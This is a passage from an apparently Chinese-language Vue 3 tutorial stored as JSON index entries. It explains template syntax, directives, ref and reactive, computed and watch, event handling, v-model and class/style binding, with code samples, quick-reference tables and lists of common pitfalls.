v-if 控制渲染，要么给一个真实占位图。 6. 数字字符串的坑。 :count=\"1\" 传的是数字，count=\"1\" 传的是字符串 \"1\"。组件里做 props.count > 1 时后者会意外成立\u002F失败，靠 props 类型校验（第九章）把这类问题挡在开发版。 7. 自定义插号分隔符在 Vue 3 被移除。 老代码里的 delimiters: ['${', '}']（为了兼容后端模板）在 Vue 3 不存在了，改用 v-text 或者转义后端标签。",{"id":19503,"title":1785,"titles":19504,"content":19505,"level":176},"\u002Ftutorials\u002Fvue3#附模板语法速查",[5,1084],"想做的事 写法 备注 输出文本 {{ msg }} 自动转义，安全 输出 HTML v-html=\"msg\" 有 XSS 风险，别用于用户输入 绑定属性 :href=\"url\" v-bind: 的缩写 动态属性名 :[name]=\"value\" 方括号里是变量 一次绑多属性 v-bind=\"obj\" 常配 $attrs 布尔属性 :disabled=\"isOff\" 值为假时移除属性 条件渲染 v-if \u002F v-else-if \u002F v-else 假时节点不存在 切换显示 v-show 节点在，只是 display:none 列表 v-for=\"item in list\" :key=\"item.id\" key 必填（第十一章） 事件 @click=\"doIt\" v-on: 的缩写 表单双向 v-model=\"text\" 第六章 插槽 \u003Cslot> \u002F #name \u002F v-slot 第十章 只渲染一次 v-once 静态内容提速 跳过编译 v-pre 展示模板代码时必用 挂载前隐藏 v-cloak 配合 CSS 防闪烁",{"id":19507,"title":2018,"titles":19508,"content":19509,"level":169},"\u002Ftutorials\u002Fvue3#三指令条件循环事件与动态参数",[5],"指令就是模板里的「特殊属性」，以 v- 开头，告诉 Vue「对这个元素做点什么」。统一结构： v-name:argument.modifier1.modifier2=\"expression\"\n│    │        │                    │\n指令 参数      修饰符                表达式（不能是语句） 看三个例子就能对上号：v-on:click.stop=\"close\"（事件指令 + 参数 click + 修饰符 stop）、v-bind:href=\"url\"（属性绑定）、v-slot:header（插槽具名）。v-on: 和 v-bind: 用得最多，所以有缩写 @click 和 :href；v-slot: 的缩写是 #header。",{"id":19511,"title":19304,"titles":19512,"content":19513,"level":176},"\u002Ftutorials\u002Fvue3#条件v-if-与-v-show-选哪个",[5,2018],"v-if v-show 假的时元素 不在 DOM 里 在 DOM 里，style=\"display:none\" 切换开销 销毁\u002F重建，有子组件生命周期 只改一个 CSS 属性 初始开销 假时完全不渲染，几乎为零 一样要渲染 支持 \u003Ctemplate> 分组 支持 不支持（需要真实元素） 适合 很少切换、初始就该省掉 频繁切换（tab 面板、下拉展开） v-else \u002F v-else-if 必须紧跟在上一个 v-if 元素之后（中间只能有空格和 HTML 注释），否则 Vue 找不到配对、直接报错。",{"id":19515,"title":2185,"titles":19516,"content":19517,"level":176},"\u002Ftutorials\u002Fvue3#循环事件绑定一次看全",[5,2018],"\u003Ctemplate>\n  \u003Cli v-for=\"(user, i) in users\" :key=\"user.id\">{{ i + 1 }}. {{ user.name }}\u003C\u002Fli>\n\n  \u003Cbutton @click=\"count++\">计数 {{ count }}\u003C\u002Fbutton>\n  \u003Cform @submit.prevent=\"onSubmit\">          \u003C!-- .prevent 拦住默认提交 -->\n    \u003Cinput v-model=\"q\" @keyup.enter=\"search\">  \u003C!-- 按键修饰符 -->\n  \u003C\u002Fform>\n\n  \u003Cdiv :class=\"{ panel: true, active: isOpen }\" :style=\"{ height: h + 'px' }\">\n    \u003Cp v-show=\"isOpen\">内容\u003C\u002Fp>\n    \u003Cp v-text=\"msg\">\u003C\u002Fp>                     \u003C!-- 等价于 {{ msg }}，但会被 innerText 覆盖 -->\n    \u003Cp v-pre>这里的 {{ code }} 原样显示\u003C\u002Fp>   \u003C!-- 展示模板代码专用 -->\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate> 内置指令一共十几个，完整清单在本章末尾的速查表里。这里只强调三个不常被注意的： v-cloak：配合 [v-cloak]{display:none} 解决挂载前的 {{ }} 闪烁。 v-once：元素渲染一次后不再更新，用于纯静态内容（省下一遍 diff）。 v-memo：v-memo=\"[依赖项]\"，依赖不变时跳过整棵子树更新，是长列表的兜底加速手段（第十一章有场景）。",{"id":19519,"title":2455,"titles":19520,"content":19521,"level":176},"\u002Ftutorials\u002Fvue3#自定义指令给元素挂点行为",[5,2018],"组件解决「一块界面」，指令解决「某个元素上的 DOM 行为」（聚焦、拖拽、埋点、水波纹）。 \u002F\u002F 全局注册\napp.directive('focus', {\n  mounted(el) { el.focus() }\n})\n\n\u002F\u002F 组件内局部注册（组合式里用 vFocus，模板里仍写 v-focus）\nconst vFocus = { mounted: (el) => el.focus() } \u003Cinput v-focus>\n\u003Cdiv v-track:click=\"'首页按钮'\">带参数和修饰符也行\u003C\u002Fdiv> 钩子按用途挑：只在挂载时干一次用 mounted；每次更新都要同步 DOM 用 updated；需要区分「值变了」和「组件重渲染」用带 oldValue 的 beforeUpdate\u002Fupdated；卸载清理用 unmounted。指令里不要写业务逻辑、不要去改响应式数据——它只负责「对这个 DOM 元素做操作」。 示例 03 里可以直接数 DOM 节点：v-if 关掉时元素真的没了，v-show 关掉时它只是被 display:none 藏起来；第三块能看到冒泡链路（不加 .stop 会先 inner 后 outer）。",{"id":19523,"title":816,"titles":19524,"content":19525,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-2",[5,2018],"1. 指令的值必须是表达式，且不能声明变量。 v-if=\"const a = 1\"、v-for=\"let x of list\" 都编译失败。想要中间变量就用 computed。 2. v-if 和 v-for 写在同一个元素上。 Vue 3 里 v-if 优先级更高，它会先执行——此时 v-for 的 item 还不存在，报 item is not defined。解法三条（第十一章细讲）：把 v-if 挪到外层 \u003Ctemplate>、用 computed 先过滤、或把循环体拆成子组件。这是 Vue2 升级到 Vue3 最常见的报错来源之一。 3. v-show 不能用在 \u003Ctemplate> 或组件上。 它需要一个能改 style 的真实元素；组件是多根时也没地方落。 4. 自定义指令加在组件上时，只有单根组件生效。 它拿不到组件内部元素，会尝试落到根元素；多根（fragment）时直接警告并失效。 5. 动态参数里别放空格、大写或复杂表达式。 :[name] 里的 name 求值结果若是 undefined，整个绑定属性会被移除（有时是你想要的，有时是漏配的 bug）。浏览器 in-DOM 模板里动态参数还会遇到大小写转换问题。 6. 修饰符顺序有意义。 @click.stop.prevent 与 @click.prevent.stop 都能工作，但 @click.self.stop 里 .self 会先做判断，后面的处理函数可能根本不执行。想搞清先后就照官方文档顺序读，别猜。 7. 拼错指令名不会报错，只会「什么都没发生」。 v-onClck、v-modle 这类拼写错误 Vue 不会拦（开发版有 v-modle 的提示，但不覆盖全部），排查时先 grep 一遍 v- 开头的属性名。",{"id":19527,"title":2757,"titles":19528,"content":19529,"level":176},"\u002Ftutorials\u002Fvue3#附内置指令速查表",[5,2018],"指令 作用 典型写法 v-text \u002F v-html 设置 textContent \u002F innerHTML v-text=\"msg\" v-show 切换 display v-show=\"isOpen\" v-if \u002F v-else-if \u002F v-else 条件渲染（增删节点） v-else-if=\"n > 3\" v-for 列表\u002F对象\u002F数字\u002F字符串遍历 v-for=\"(v, k) in obj\" :key=\"k\" v-on (@) 监听事件，支持修饰符 @keyup.esc=\"close\" v-bind (:) 绑定属性\u002Fprops\u002F样式\u002Fclass :class=\"clsObj\" v-model 表单\u002F组件双向绑定 v-model.trim=\"q\" v-slot (#) 插槽 #header=\"{ title }\" v-pre 跳过该元素及其子树的编译 展示模板代码 v-cloak 挂载完成前保留该属性 配合 CSS 防闪烁 v-once 只渲染一次 纯静态块 v-memo 依赖不变时跳过子树更新 v-memo=\"[row.id]\" 事件修饰符 等价于 .stop event.stopPropagation() .prevent event.preventDefault() .capture 用捕获阶段监听 .self 只有 event.target 是自己时才触发 .once 只触发一次 .passive { passive: true }，滚动不阻塞（不能同时 .prevent） .keyup.enter \u002F .esc \u002F .tab \u002F .space \u002F .up … 按键名\u002F系统别名 .left \u002F .right \u002F .middle 鼠标按键",{"id":19531,"title":3082,"titles":19532,"content":19533,"level":169},"\u002Ftutorials\u002Fvue3#四ref-与-reactive响应式对象的入口",[5],"响应式的原理值得知道一句：Vue 3 用 Proxy 代理对象，「读」的时候记录谁在用这个属性，「写」的时候通知这些使用者重新渲染。这条机制决定了两件事——基本类型没法被代理（所以要有 ref），以及代理对象一旦被替换或解构，链路就断了（所以有那一堆坑）。",{"id":19535,"title":3104,"titles":19536,"content":19537,"level":176},"\u002Ftutorials\u002Fvue3#ref一切的入口",[5,3082],"\u003Cscript setup>\nimport { ref } from 'vue'\nconst count = ref(0)              \u002F\u002F 返回 { value: 0 } 这样的「引用对象」\nconst user = ref({ name: '阿蓝' }) \u002F\u002F 也能装对象\u002F数组\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>{{ count }}\u003C\u002Fp>              \u003C!-- 模板里自动解包，不用写 .value -->\n  \u003Cbutton @click=\"count++\">+1\u003C\u002Fbutton>   \u003C!-- 模板里也能直接用（编译器加了 .value） -->\n\u003C\u002Ftemplate> 规则只有两条，但必须刻进肌肉记忆： 在 JS 里读写 ref 必须带 .value。 count++ 不会报错（把一个对象当数字加），而是安静地变成 NaN——示例 04 现场演示了这个瞬间。 在模板里不需要 .value（顶层 ref 自动解包）。例外：ref 藏在普通对象里时不解包，{{ obj.count.value }} 得写全。 const state = { count: ref(0) }   \u002F\u002F ✗ 普通对象里的 ref 模板里要写 .value\nconst state = reactive({ count: ref(0) })  \u002F\u002F ✓ reactive 对象内部的 ref 自动解包",{"id":19539,"title":3334,"titles":19540,"content":19541,"level":176},"\u002Ftutorials\u002Fvue3#reactive对象专用但有三个限制",[5,3082],"const form = reactive({ name: '', tags: [], meta: { ver: 1 } })\nform.name = '小青'          \u002F\u002F 不用 .value，直接改\nform.tags.push('新')        \u002F\u002F 数组的 push\u002Fsplice\u002F索引赋值都能被捕获 reactive 的三条边界，第一条就淘汰掉了大部分「到处 reactive」的写法： 限制一：解构即失效。 const { name } = form 拿到的是普通字符串，之后 form.name = 'x' 它不会变。补救是 toRefs(form)（解构出来的每个字段仍是 ref）。 限制二：整体替换会断链。 form = reactive({ ... }) 把模板绑定的那个代理对象换掉了，界面停在旧值。要清空请写 Object.assign(form, newData)，或者干脆用 ref 装整个对象（ref 允许重新赋值 .value）。 限制三：不能包装基本类型。 reactive(0)、reactive('a') 直接报错——这正是 ref 存在的理由。 实际项目的选择建议：默认全用 ref，需要一组高度内聚、整体传递的对象数据时再用 reactive。理由：ref 的规则统一（永远 .value），不会出现「解构后悄悄失效」这类难查的 bug，也便于 TS 推断。",{"id":19543,"title":19314,"titles":19544,"content":19545,"level":176},"\u002Ftutorials\u002Fvue3#局部跳过响应式shallowrefshallowreactivemarkrawtoraw",[5,3082],"大对象（ECharts 实例、地图数据、上千行的原始列表）全量代理既慢又没必要： const chart = shallowRef(null)       \u002F\u002F 只有 .value 被替换时才触发更新\nchart.value = newChart\ntriggerRef(chart)                     \u002F\u002F 换了内部属性但想强制刷新时手动触发\n\nconst raw = markRaw(hugeConfig)       \u002F\u002F 永久标记为「不代理」，放进 reactive 也不转\nconst plain = toRaw(state)            \u002F\u002F 拿回 reactive 背后的原始对象（做深拷贝\u002F存库时用）\nconst clone = JSON.parse(JSON.stringify(toRaw(state)))  \u002F\u002F 存 sessionStorage 的正路 数组列表性能场景还有个专门写法：shallowRef + 整体替换新数组（list.value = newList），比 ref 深代理省一大截开销。 示例 04 的四块面板分别演示：忘写 .value 的 NaN 现场、reactive 解构后失效与 toRefs 修复、reactive 整体替换后界面不动，以及 ref 装数组时 push 为什么能更新界面。",{"id":19547,"title":816,"titles":19548,"content":19549,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-3",[5,3082],"1. 解构 reactive 对象就丢响应性（最常见、最难查）。const { count } = state 之后改 state.count，界面不动也不报错。用 toRefs，或者从一开始就用 ref 存单个值。 2. props 的解构同理。 const { title } = defineProps([...]) 在 3.5 之前是「断掉响应」的写法；现在编译器会给出警告（Vue 3.5 props 解构是响应式安全的 属于新特性，老项目里务必确认版本）。拿不准就老实写 props.title。 3. 把 reactive 对象直接传给函数后重新赋值，外面看不到。 function reset(s) { s = {} } 只是改了局部变量。断链问题在传参、Object.assign 目标搞错时反复出现。 4. watch 一个 reactive 对象默认是深监听。 对象一大、嵌套一深，每次改动都全量遍历（第五章给省法）。 5. 存到 sessionStorage \u002F 发给后端之前要 toRaw + 深拷贝。 JSON.stringify(reactive对象) 能工作，但里面若混了 ref 会多出 {\"value\": ...} 这种结构，接口对不上。 6. 模板里给 ref 赋的是 .value 的语义，写错类型会静默失败。 list.push(x) 对 ref([]) 是错的（list 是引用对象不是数组），要 list.value.push(x)。这类错误 Vue 不报，只在运行时炸出 push is not a function。 7. 别在循环里动态创建 ref。 for (const k of keys) refs[k] = ref(0) 这种写法本身合法，但随后放进 reactive 里再解构就会让你分不清手上拿的是 ref 还是值。列表状态请用一个 ref(数组)，索引即位置（第十一章会讲为什么不能用 index 当 key）。",{"id":19551,"title":3795,"titles":19552,"content":19553,"level":176},"\u002Ftutorials\u002Fvue3#附响应式-api-速查",[5,3082],"API 用来装 解构安全 整体替换 典型场景 ref(v) 任意值（含基本类型） — ✓（改 .value） 默认选择 reactive(o) 对象\u002F数组 ✗ 解构失效 ✗ 断链 一组内聚的表单字段 shallowRef(v) 大对象\u002F实例 — ✓ ECharts、地图、大列表 shallowReactive(o) 对象（只代理第一层） 部分 ✗ 表格行数据 toRef(o, 'k') 从 reactive 里取一个字段 ✓ — props 转发、组合式入参 toRefs(o) 整个 reactive 展开成 ref 集 ✓ — 组合式函数返回多个状态 markRaw(v) 标记永不代理 — — 第三方实例 toRaw(v) 取回原始对象 — — 深拷贝、序列化 triggerRef(r) 手动触发 shallowRef 更新 — — 深层修改后强制刷新 unref(v) \u002F isRef(v) 取值 \u002F 判断 — — 写通用工具函数",{"id":19555,"title":4006,"titles":19556,"content":19557,"level":169},"\u002Ftutorials\u002Fvue3#五computed-与-watch派生值要缓存副作用要侦听",[5],"一句话选型：「界面要显示的一个值」用 computed，「数据变了之后要去干一件事」用 watch。 干的事指的是请求、埋点、操作 DOM、写 localStorage——这些不该出现在 computed 里。",{"id":19559,"title":4025,"titles":19560,"content":19561,"level":176},"\u002Ftutorials\u002Fvue3#computed会缓存的派生值",[5,4006],"\u003Cscript setup>\nimport { ref, computed } from 'vue'\nconst list = ref([{ name: 'a', price: 10 }, { name: 'b', price: 20 }])\nconst keyword = ref('')\n\nconst total = computed(() => list.value.reduce((s, x) => s + x.price, 0))\nconst filtered = computed(() =>\n  list.value.filter(x => x.name.includes(keyword.value))\n)\n\u003C\u002Fscript> computed 与「直接在模板里调方法」的区别是缓存：依赖不变时读多少次都返回同一个结果，不会重新执行函数；方法调用则是每次渲染都跑一遍。示例 05 里有个计数器，连点「与计算无关」的按钮你能直观看到：方法版本调用次数一路上涨，computed 版本纹丝不动。 列表过滤、汇总、格式化这三类需求，几乎都该落在 computed 上（而不是 watch 里手动重算一份数据存起来——那会造出「两份数据要对齐」的新问题）。",{"id":19563,"title":4237,"titles":19564,"content":19565,"level":176},"\u002Ftutorials\u002Fvue3#可写-computed",[5,4006],"const celsius = ref(25)\nconst fahrenheit = computed({\n  get: () => celsius.value * 9 \u002F 5 + 32,\n  set: (v) => { celsius.value = (v - 32) * 5 \u002F 9 }\n}) 给 v-model 指向一个「看起来是独立字段、其实是别的字段的换算」的场景非常顺手（示例 05 里两个输入框互相同步就是这个写法）。",{"id":19567,"title":4360,"titles":19568,"content":19569,"level":176},"\u002Ftutorials\u002Fvue3#watch知道旧值才能做增量",[5,4006],"\u002F\u002F ① 监听单个 ref\nwatch(keyword, (newV, oldV) => { log(`关键词 ${oldV} → ${newV}`) })\n\n\u002F\u002F ② 监听 reactive 的某个字段：必须写成 getter\nconst state = reactive({ count: 0 })\nwatch(() => state.count, (v) => { \u002F* ... *\u002F })\n\n\u002F\u002F ③ 监听多个来源\nwatch([a, b], ([av, bv]) => { \u002F* ... *\u002F })\n\n\u002F\u002F ④ 需要「深层」变化时显式开启\nwatch(() => state.list, (v) => { \u002F* ... *\u002F }, { deep: true })\n\n\u002F\u002F ⑤ 立即执行一次（否则第一次不触发）\nwatch(keyword, cb, { immediate: true })\n\n\u002F\u002F ⑥ 拿到 stop 函数手动停止（组件外创建的 watch 一定要停）\nconst stop = watch(source, cb)\n\u002F\u002F ... 不需要时\nstop() watch 的选项一共四个常用的：immediate（立即跑一次）、deep（深层遍历）、flush（'pre' 默认，DOM 更新前；'post' 更新后，需要读 DOM 时用它；'sync' 同步执行，几乎不用来避免性能问题）、以及第三个参数返回值 onCleanup（见下）。",{"id":19571,"title":4633,"titles":19572,"content":19573,"level":176},"\u002Ftutorials\u002Fvue3#watcheffect自动追踪配合-oncleanup-做防抖",[5,4006],"const query = ref('')\nwatchEffect((onCleanup) => {\n  const timer = setTimeout(() => search(query.value), 300)\n  onCleanup(() => clearTimeout(timer))   \u002F\u002F 下次执行前 \u002F 停止时自动调用\n}) watchEffect 不需要声明监听谁，函数里读到的响应式都被记录。代价是可读性：依赖是隐式的，别人（和三个月后的你）看不出这段代码会在什么时机跑。项目里的实践约定是：只在「依赖多、且就是要跟着全部依赖走」时用，通常配合 onCleanup 处理订阅\u002F定时器\u002F请求取消。 示例 05 的第三块给出了一张「哪种改动触发了哪几个 watch」的矩阵——这一节的坑基本都在这张表里。",{"id":19575,"title":816,"titles":19576,"content":19577,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-4",[5,4006],"1. computed 里写副作用。 在 getter 里 emit、发请求、改别的 ref，会形成「渲染 → 改数据 → 再渲染」的循环，开发版报 Maximum recursive updates exceeded。派生就纯派生。 2. computed 里访问了「还没声明」的响应式变量。 const a = computed(() => b.value) 写在 const b = ref(0) 之前，首次求值时 b 是 undefined（TDZ 或直接报错）。顺序摆正，或者把 computed 放到依赖之后。 3. 监听 reactive 对象不写 getter，又忘了它是深监听。 watch(state, cb)（state 是 reactive）默认 deep: true，对象一大每次改动都全量遍历；而且由于引用没变，newV 和 oldV 是同一个对象，拿不到「旧值」。只关心某个字段就写 () => state.count。 4. 监听一个「对象引用」而不是内容。 watch(() => obj.data, cb)，你在 cb 里改 obj.data 的字段而不是替换整个对象，就不会再触发。要么 deep，要么换成监听 () => obj.data.length 这类标量。 5. 忘停的 watch 是内存泄漏。 在组合式函数、插件、watch 于 setTimeout 回调里创建等「脱离组件实例」的场景创建的 watch，不会被自动回收。拿到返回的 stop 并在 onBeforeUnmount 里调用。 6. immediate: true 首次回调时依赖可能是空。 典型的翻车是首次就发请求，参数还是 undefined。要么先判空，要么把「初始化」单独写。 7. 异步 watch 的竞态。 watch(id, async () => { data.value = await fetchDetail(id.value) })：快速切换 id 时，先发的慢请求可能后返回，覆盖掉新数据。解法是本地一个「请求序号\u002F最新 id」对比，或者用 onCleanup + AbortController 取消上一次请求。 8. flush: 'post' 才是读 DOM 的时机。 想在数据变化后读更新后的 DOM（比如滚动到底部），默认 'pre' 时机读到的是旧 DOM。更稳的做法是 nextTick()（第十二章）。",{"id":19579,"title":4898,"titles":19580,"content":19581,"level":176},"\u002Ftutorials\u002Fvue3#附computed-watch-watcheffect-选择表",[5,4006],"需求 用什么 理由 界面要显示一个算出来的值 computed 有缓存、纯函数、模板里读着舒服 值需要双向换算（可 v-model） 可写 computed get\u002Fset 成对写，不用手动同步 数据变了要发请求 \u002F 写存储 \u002F 埋点 watch 能拿旧值、能控制 deep\u002Fimmediate 依赖很多且都相关（搜索防抖） watchEffect + onCleanup 自动收集依赖，省去一长串监听列表 只想知道「渲染完成了」 onUpdated \u002F nextTick 见第十二章，别用 watch 代替生命周期 watch 选项 默认 说明 immediate false 创建时立刻用当前值执行一次回调 deep reactive 源为 true，其他 false 深层遍历比较，代价随对象体积增长 flush 'pre' 'pre' 组件更新前 \u002F 'post' 更新后（读 DOM） \u002F 'sync' 同步 once（3.5+） false 触发一次后自动停止，替代手写 stop()",{"id":19583,"title":5068,"titles":19584,"content":19585,"level":169},"\u002Ftutorials\u002Fvue3#六事件处理与-v-model表单是双向绑定的主战场",[5],"事件是「用户操作 → 数据变化」，v-model 是「数据 ⇄ 表单控件」双向同步。两者都写在模板里，规则却不太一样：@ 后面那串是「语句或表达式」，v-model 背后其实是两个绑定。",{"id":19587,"title":19328,"titles":19588,"content":19589,"level":176},"\u002Ftutorials\u002Fvue3#事件click-后面能写什么",[5,5068],"\u003Ctemplate>\n  \u003Cbutton @click=\"count++\">自增\u003C\u002Fbutton>                 \u003C!-- 内联表达式 -->\n  \u003Cbutton @click=\"add(2)\">加 2\u003C\u002Fbutton>                   \u003C!-- 内联调用，传自己的参数 -->\n  \u003Cbutton @click=\"onKey($event, 'save')\">带 $event\u003C\u002Fbutton>  \u003C!-- 需要事件对象时显式写 $event -->\n  \u003Cbutton @click=\"submit\">直接给函数引用\u003C\u002Fbutton>          \u003C!-- 参数是原生 event（或 emit 的载荷） -->\n\u003C\u002Ftemplate> 「写函数名」和「写函数名+括号」的差别很关键：@click=\"submit\" 会把原生 event 当第一个参数传进去；@click=\"submit()\" 则不传参。需要 event 又怕被别的东西污染，就显式写 $event。 function onKey(e, action) {\n  console.log(e.key, action)   \u002F\u002F e 是 KeyboardEvent\n}",{"id":19591,"title":19330,"titles":19592,"content":19593,"level":176},"\u002Ftutorials\u002Fvue3#修饰符省掉那些-estoppropagation",[5,5068],"\u003Cform @submit.prevent=\"onSubmit\">              \u003C!-- 阻止默认提交（页面刷新） -->\n\u003Cdiv @click=\"outer\">\n  \u003Cbutton @click.stop=\"inner\">不冒泡\u003C\u002Fbutton>   \u003C!-- 只触发 inner -->\n  \u003Cbutton @click.self=\"outer\">只有点自己才触发\u003C\u002Fbutton>\n  \u003Cbutton @click.capture=\"log\">捕获阶段先走我\u003C\u002Fbutton>\n  \u003Cbutton @click.once=\"claim\">只能点一次\u003C\u002Fbutton>\n\u003C\u002Fdiv>\n\u003Cinput @keyup.enter=\"search\" @keyup.esc=\"clear\">\n\u003Cdiv @touchmove.passive=\"onMove\">滚动不阻塞\u003C\u002Fdiv>   \u003C!-- passive 里不能再 preventDefault --> .passive 用来给移动端滚动优化（告诉浏览器你不会阻止默认行为）；.prevent 与 .passive 冲突，同时写会收到警告。",{"id":19595,"title":5462,"titles":19596,"content":19597,"level":176},"\u002Ftutorials\u002Fvue3#v-model各控件里存的到底是什么",[5,5068],"v-model=\"x\" 展开是 :value=\"x\" + @input=\"x = $event.target.value\"（组件上则是 modelValue + update:modelValue）。因为它是「语法糖」，不同控件下 x 的类型会不一样——这是本章最容易踩的地方，示例 06 把每种控件的当前值和类型实时打在旁边。 控件 v-model 绑的值 说明 \u003Cinput type=\"text\"> \u002F \u003Ctextarea> 字符串 输入即同步 \u003Cinput type=\"checkbox\">（单个） 布尔 想绑别的值要用 true-value \u002F false-value \u003Cinput type=\"checkbox\">（同组多个） 数组 勾中的 value 被 push 进数组 \u003Cinput type=\"radio\"> 被选中项的 value 同一组共用一个 v-model \u003Cselect> 选中项的值 加 multiple 时是数组 \u003Cinput type=\"date\"> 等 字符串 格式由浏览器控件决定 \u003Cinput v-model.number=\"age\">      \u003C!-- 尝试 parseFloat，失败保持原样 -->\n\u003Cinput v-model.trim=\"name\">       \u003C!-- change 时自动去首尾空格 -->\n\u003Cinput v-model.lazy=\"comment\">    \u003C!-- blur 才同步（长文本输入减少重渲染） -->\n\u003Cinput v-model=\"text\" :value=\"text\">  \u003C!-- 别这么写：v-model 会覆盖 value --> 三个修饰符的行为细节：.number 遇到空串会留下 '' 而不是 0（校验时注意）；.lazy 让同步发生在 change（失焦）而不是 input；.trim 与 .lazy 组合使用效果最好（失焦时才裁剪）。",{"id":19599,"title":5728,"titles":19600,"content":19601,"level":176},"\u002Ftutorials\u002Fvue3#事件与-v-model-的配合表单校验最小可用版",[5,5068],"\u003Cscript setup>\nimport { reactive, computed } from 'vue'\nconst form = reactive({ name: '', age: '', agree: false })\nconst nameErr = computed(() => form.name.trim() ? '' : '姓名必填')\nconst canSubmit = computed(() => !nameErr.value && form.agree)\n\nfunction submit() {\n  if (!canSubmit.value) return\n  \u002F\u002F 提交逻辑：这里才真的发请求\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cform @submit.prevent=\"submit\">\n    \u003Cinput v-model.trim=\"form.name\" placeholder=\"姓名\">\n    \u003Cp v-if=\"nameErr\" class=\"err\">{{ nameErr }}\u003C\u002Fp>\n    \u003Cinput v-model.number=\"form.age\" type=\"number\" min=\"1\" placeholder=\"年龄\">\n    \u003Cinput id=\"agree\" v-model=\"form.agree\" type=\"checkbox\">\n    \u003Clabel for=\"agree\">同意条款\u003C\u002Flabel>\n    \u003Cbutton type=\"submit\" :disabled=\"!canSubmit\">提交\u003C\u002Fbutton>\n  \u003C\u002Fform>\n\u003C\u002Ftemplate> 这段是「入门级表单」的标准形状：数据源只有一个（form），校验用 computed 派生，提交用 @submit.prevent。别在 watch 里再维护一份 errors 数据，那是「两份状态要对齐」的老问题。",{"id":19603,"title":816,"titles":19604,"content":19605,"level":176},"\u002Ftutorials\u002Fvue3#️-本章的坑-5",[5,5068],"1. v-model 会忽略控件上写死的 value \u002F checked。 Vue 3 明确不允许在 v-model 上再用这些属性当初始值——初始值请到绑定的数据里给（ref('初始')）。想给 checkbox 绑自定义值用 true-value\u002Ffalse-value。 2. 单个 checkbox 上误用 value。 v-model=\"x\" value=\"A\"（x 是字符串）不会得到 'A'，会得到布尔值。想收集多选项必须是「数组型 v-model」：v-model=\"arr\" + 每个 input 带不同 value。 3. 组件标签上的 v-model 默认失效。 子组件没声明 modelValue props 也没 emit('update:modelValue') 时，输入界面有反应、父级数据纹丝不动。组件的 v-model 在第九章展开（一行 defineModel() 就能补齐）。 4. @keyup.enter 在中文输入法下不准。 输入法组合期间的按键事件会被打断，需要「按回车才搜索」的框建议监听 change 或加 @keyup.enter.native 时代的替代：直接用 @keyup=\"debouncedSearch\" + .lazy 组合，或监听 IME 的 compositionstart\u002Fend。 5. 事件监听器在 @ 上加了修饰符就不能再传 $event 以外的隐式参数。 @click=\"handle('a')\" 之后想拿事件对象，必须写全 @click=\"handle('a', $event)\"。 6. 复用同一个 v-model 到多个控件时小心互相覆盖。 一组 radio 共用一个 v-model 是对的；两个不同用途的输入框共用一个 v-model 就是 bug（会互相打字）。 7. v-model 配合 v-if 切换表单块，状态不会自动清。 DOM 销毁了，数据还在。需要「切步骤就清空」，用 :key=\"step\" 强制重建组件，或手动重置。 8. 表单里的 \u003Cbutton> 默认是 type=\"submit\"。 在 \u003Cform> 里加个「取消」按钮没写 type=\"button\"，一点就触发 submit。这是新手最常见的「为什么我点删除却提交了表单」。",{"id":19607,"title":6295,"titles":19608,"content":19609,"level":176},"\u002Ftutorials\u002Fvue3#附修饰符速查",[5,5068],"类别 写法 效果 v-model .lazy change 事件才同步 v-model .number 尝试转数字（空串保持 ''） v-model .trim 去首尾空格 v-model 参数 v-model:title=\"t\" 指定组件上的模型名（对应 title + update:title） 事件 .stop \u002F .prevent \u002F .capture \u002F .self \u002F .once \u002F .passive 见上文代码块 事件修饰符 顺序有意义 .self 在前会拦掉后续处理 按键 .enter .tab .delete .esc .space .up .down .left .right 别名 系统键 .ctrl .shift .alt .meta + .exact .exact 表示「只能按这组键」",{"id":19611,"title":6462,"titles":19612,"content":6465,"level":169},"\u002Ftutorials\u002Fvue3#七class-与-style-绑定动态外观的正确写法",[5],{"id":19614,"title":6469,"titles":19615,"content":19616,"level":176},"\u002Ftutorials\u002Fvue3#class对象语法与数组语法",[5,6462],"\u003C!-- 对象：键是类名，值是布尔 -->\n\u003Cdiv :class=\"{ active: isActive, 'text-danger': hasError }\">\n\n\u003C!-- 对象整体绑定（把逻辑收进 computed，模板保持干净） -->\n\u003Cdiv :class=\"classObj\">\n\u003Cscript setup>\nconst classObj = computed(() => ({\n  active: props.isActive,\n  disabled: props.count === 0,\n  'is-large': props.size === 'large'\n}))\n\u003C\u002Fscript>\n\n\u003C!-- 数组：静态类 + 动态类混排 -->\n\u003Cdiv :class=\"[baseClass, isActive ? 'active' : 'inactive', extraClassObj]\">\n\n\u003C!-- 三元够用就别上对象；条件超过两个就用对象或 computed --> 含空格或多个类名的键必须加引号（'text-danger'），因为它是对象键而不是标识符。",{"id":19618,"title":6634,"titles":19619,"content":19620,"level":176},"\u002Ftutorials\u002Fvue3#style对象数组与-css-变量",[5,6462],"\u003Cdiv :style=\"{ width: barWidth + '%' }\">\n\u003Cdiv :style=\"{ color: activeColor, 'font-size': fontSize + 'px' }\">   \u003C!-- 连字符属性要加引号 -->\n\u003Cdiv :style=\"[baseStyle, themeStyle]\">                                \u003C!-- 后者覆盖前者 -->\n\u003Cdiv :style=\"{ '--brand': brandColor }\">                              \u003C!-- CSS 变量 -->\n  \u003Cstyle>.box { border: 3px solid var(--brand); }\u003C\u002Fstyle> 三个约定：驼峰与连字符都能写（fontSize 或 'font-size'，连字符形式必须加引号）；多来源合并时数组后面的赢（所以别把 !important 当覆盖手段，示例 07 演示了正确做法是调数组顺序）；给组件库\u002F全局样式传值，CSS 变量是最干净的路（不必和对方的选择器权重打架）。",{"id":19622,"title":6779,"titles":19623,"content":19624,"level":176},"\u002Ftutorials\u002Fvue3#组件上的-class-落到哪单根继承多根要显式处理",[5,6462],"\u003C!-- 单根子组件：class 自动合并到子组件根元素 -->\n\u003Ctag-chip class=\"is-primary\">Vue\u003C\u002Ftag-chip>\n\n\u003C!-- 多根子组件（fragment）：Vue 不知道往哪放，开发版直接警告 -->\n\u003Ctwo-root class=\"is-primary\">…\u003C\u002Ftwo-root> 多根组件要显式接收：\u003Cdiv v-bind=\"$attrs\"> 自己决定哪个根拿样式，或者 defineOptions({ inheritAttrs: false }) 后手动分发。示例 07 